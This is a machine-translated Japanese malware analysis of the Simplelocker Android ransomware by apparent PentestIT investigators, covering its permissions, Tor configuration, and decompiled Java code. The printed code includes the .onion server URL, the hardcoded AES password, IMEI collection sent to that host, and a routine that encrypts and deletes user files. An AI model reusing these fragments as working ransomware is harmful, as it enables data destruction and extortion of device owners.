Simplelockerの分析-Android用のランサムウェアウイルス





親愛なるhabraytchiteliこんにちは、今日、当社の専門家は、さっきまで私たちの目を引いたAndroidウイルスの分析に注目したいと思います。 彼についてもっと知るために、私たちは多くの仕事をしました。それは一般に3つのステップに分けられます:



ステップ1.マニフェストとリソースの分析

ステップ2.アプリケーションの逆コンパイル

ステップ3.コード分析



ステップ1.マニフェストとリソースの分析

まず、aapt.exeユーティリティを使用してapkファイルからコマンドで文字列コンテンツを抽出し、アプリケーションリソースを分析することにしました

c:\ android \ apktool> aapt.exe list -a .. \ simple \ fd694cf5ca1dd4967ad6e8c67241114c.apk



このアプリケーションで使用される権限は次のとおりです。

android.permission.INTERNET android.permission.ACCESS_NETWORK_STATE android.permission.READ_PHONE_STATE android.permission.RECEIVE_BOOT_COMPLETED android.permission.WAKE_LOCK android.permission.WRITE_EXTERNAL_STORAGE android.permission.READ_EXTERNAL_STORAGE
      
      





受信者がいます:

  .ServiceStarter android.intent.action.BOOT_COMPLETED .SDCardServiceStar android.intent.action.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE
      
      





以下のサービスと同様に:

  .MainService org.torproject.android.service.TorService org.torproject.android.service.ITorService org.torproject.android.service.TOR_SERVICE
      
      





マニフェストから、ウイルスがTORネットワークおよび外部メモリカードで動作できることがわかります。

アプリケーションを解凍し、リソースに含まれるものを確認します。 最も興味深いのは、res \ rawフォルダーです。 mp3として偽装された2つのファイルが見つかります。実際には、GeoIPの国のデータベースとTORの構成ファイルを含むアーカイブを提供します。

Torrcファイル:

  SocksPort 9050 SOCKSListenAddress 127.0.0.1 SafeSocks 0 TestSocks 1 WarnUnsafeSocks 1 Log notice stdout ControlListenAddress 127.0.0.1 ControlPort 9051 CookieAuthentication 1 TransPort 9040 TransListenAddress 127.0.0.1 DNSPort 5400 DNSListenAddress 127.0.0.1 AvoidDiskWrites 1  torrctether SocksPort 9050 SOCKSListenAddress 0.0.0.0 SafeSocks 0 TestSocks 1 WarnUnsafeSocks 1 Log notice stdout ControlPort 9051 ControlListenAddress 0.0.0.0 CookieAuthentication 1 RelayBandwidthRate 100 KBytes RelayBandwidthBurst 100 KBytes UseBridges 0 AutomapHostsOnResolve 1 TransListenAddress 0.0.0.0 TransPort 9040 DNSListenAddress 0.0.0.0 DNSPort 5400 AvoidDiskWrites 1
      
      





そして、privoxy_configファイル

 # Generally, this file goes in /etc/privoxy/config # # Tor listens as a SOCKS4a proxy here: forward-socks4a / 127.0.0.1:9050 . confdir /data/data/org.torproject.android logdir /data/data/org.torproject.android # actionsfile standard # Internal purpose, recommended #actionsfile default.action # Main actions file #actionsfile user.action # User customizations #filterfile default.filter # Don't log interesting things, only startup messages, warnings and errors #logfile logfile #jarfile jarfile #debug 1 #debug 0 # show each GET/POST/CONNECT request #debug 4096 # Startup banner and warnings #debug 8192 # Errors - *we highly recommended enabling this* #user-manual /usr/share/doc/privoxy/user-manual listen-address 127.0.0.1:8118 toggle 1 accept-intercepted-requests 1 enable-remote-toggle 0 enable-edit-actions 0 enable-remote-http-toggle 0 buffer-limit 4096
      
      





ステップ2.アプリケーションの逆コンパイル

アプリケーションを逆コンパイルするには、 リンクサービスを使用します。



ステップ3.コード分析

クラスの名前をざっと見てみると、Constants.javaクラスに目が留まったので、そこにどの定数が格納されているのか見てみましょう。

 public static final String ADMIN_URL = "http://xeyocsu7fu2vjhxs.onion/"; public static final int CHECK_MAIN_WINDOW_TIME_SECONDS = 1; public static final String CIPHER_PASSWORD = "jndlasf074hr"; public static final String CLIENT_NUMBER = "19"; public static final String DEBUG_TAG = "DEBUGGING"; public static final String DISABLE_LOCKER = "DISABLE_LOCKER"; public static final List EXTENSIONS_TO_ENCRYPT = Arrays.asList(new String[] { "jpeg", "jpg", "png", "bmp", "gif", "pdf", "doc", "docx", "txt", "avi", "mkv", "3gp", "mp4"}); public static final String FILES_WAS_ENCRYPTED = "FILES_WAS_ENCRYPTED"; public static final int MONEYPACK_DIGITS_NUMBER = 14; public static final int PAYSAFECARD_DIGITS_NUMBER = 16; public static final int POLLING_TIME_MINUTES = 3; public static final String PREFS_NAME = "AppPrefs"; public static final int UKASH_DIGITS_NUMBER = 19;
      
      





定数変数によれば、データの送信先、ファイルの暗号化に使用されるパスワード、暗号化の対象となるファイルを想定できます。

ウイルスは何らかの形でサーバーと対話し、ファイルを暗号化する必要があります。 この機能を担当するコードのセクションを見つけます。 MainServiceサービスとして機能するMainService.javaクラスを分析することから始めます。

サーバーとの通信。

MainService.javaクラスでは、TorSender.sendCheck(コンテキスト)関数がrun()メソッドで呼び出されます。

 public void run() { …… TorSender.sendCheck(context); }
      
      





TorSender.java、このクラスには1つのメソッドが含まれます。

 public static void sendCheck(Context context) { try { JSONObject jsonobject = new JSONObject(); jsonobject.put("type", "locker check"); jsonobject.put("device id", Utils.getCutIMEI(context)); jsonobject.put("client number", "19"); (new HttpSender(jsonobject.toString(), HttpSender.RequestType.TYPE_CHECK, context)).startSending(); return; } catch (JSONException jsonexception) { jsonexception.printStackTrace(); } }
      
      





要求のタイプ、デバイスIMEIに関する情報を含むjsonオブジェクトが作成されます。

 (Utils.getCutIMEI(context))   . public static String getCutIMEI(Context context) { String s = getIMEI(context); …. } public static String getIMEI(Context context) { return ((TelephonyManager)context.getSystemService("phone")).getDeviceId(); }
      
      





送信時に、HttpSender.javaクラスの明示的なコンストラクターが呼び出されると、プロキシサーバー127.0.0.1:9050が最初に作成されます

 public HttpSender(String s, RequestType requesttype, Context context1) { dataToSend = s; settings = context1.getSharedPreferences("AppPrefs", 0); httpclient = new StrongHttpsClient(context1); httpclient.useProxy(true, "SOCKS", "127.0.0.1", 9050); context = context1; type = requesttype; }
      
      





次に、startSending()メソッドを呼び出します。このメソッドは、データをeyocsu7fu2vjhxs.onionサーバーに転送します。

 public void startSending() { …. HttpResponse httpresponse = send(context, "http://xeyocsu7fu2vjhxs.onion/", dataToSend); ... }
      
      





ファイル暗号化:

MainServiceサービスは、ファイルを暗号化するためにストリームを開始します。

 new Thread(new Runnable() { … (new FilesEncryptor(context)).encrypt(); … }
      
      





FilesEncryptor(コンテキスト)クラスの明示的なコンストラクターを検討してください

 public FilesEncryptor(Context context) { filesToEncrypt = new ArrayList(); filesToDecrypt = new ArrayList(); settings = context.getSharedPreferences("AppPrefs", 0); getFileNames(new File(Environment.getExternalStorageDirectory().toString())); }
      
      





通常のファイルと暗号化されたファイルのリストを保存するための2つのリストの初期化が表示されます。getFileNames(ファイルファイル)メソッドがリストを埋めます。

 private void getFileNames(File file) { … String s = file1.getAbsolutePath(); String s1 = s.substring(1 + s.lastIndexOf(".")); if (extensionsToDecrypt.contains(s1)) { filesToDecrypt.add(file1.getAbsolutePath()); } else if (Constants.EXTENSIONS_TO_ENCRYPT.contains(s1)) { filesToEncrypt.add(file1.getAbsolutePath()); } … }
      
      





そして、encrypt()メソッドはfilesToEncryptリストからファイルを暗号化します

 public void encrypt() throws Exception { … AesCrypt aescrypt; Iterator iterator; aescrypt = new AesCrypt("jndlasf074hr"); iterator = filesToEncrypt.iterator(); … String s = (String)iterator.next(); aescrypt.encrypt(s, (new StringBuilder(String.valueOf(s))).append(".enc").toString()); (new File(s)).delete(); … }
      
      





クラスAesCrypt.javaを考えます

private final Cipher cipher = Cipher.getInstance( "AES / CBC / PKCS7Padding");

AES 128ブロック暗号化を使用

クラスコンストラクターで、SHA-256アルゴリズムを使用してパスワードをハッシュし、暗号のキーを生成します。

 public AesCrypt(String s) throws Exception { MessageDigest messagedigest = MessageDigest.getInstance("SHA-256"); messagedigest.update(s.getBytes("UTF-8")); byte abyte0[] = new byte[32]; System.arraycopy(messagedigest.digest(), 0, abyte0, 0, abyte0.length); key = new SecretKeySpec(abyte0, "AES"); spec = getIV(); }
      
      





さて、暗号化方法自体:

 public void encrypt(String s, String s1) throws Exception { FileInputStream fileinputstream = new FileInputStream(s); FileOutputStream fileoutputstream = new FileOutputStream(s1); cipher.init(1, key, spec); CipherOutputStream cipheroutputstream = new CipherOutputStream(fileoutputstream, cipher); byte abyte0[] = new byte[8]; do { int i = fileinputstream.read(abyte0); if (i == -1) { cipheroutputstream.flush(); cipheroutputstream.close(); fileinputstream.close(); return; } cipheroutputstream.write(abyte0, 0, i); } while (true); }
      
      





この一連の研究を実施した後、このウイルスは非常に貧弱な機能を持っていると結論できます。

1. IMEIの被害者をつかむ

2. TORネットワークを操作する

3.ファイル暗号化



Boyarkin Anton、Nabiev Nurlan、PentestIT、 サイバー犯罪調査部



All Articles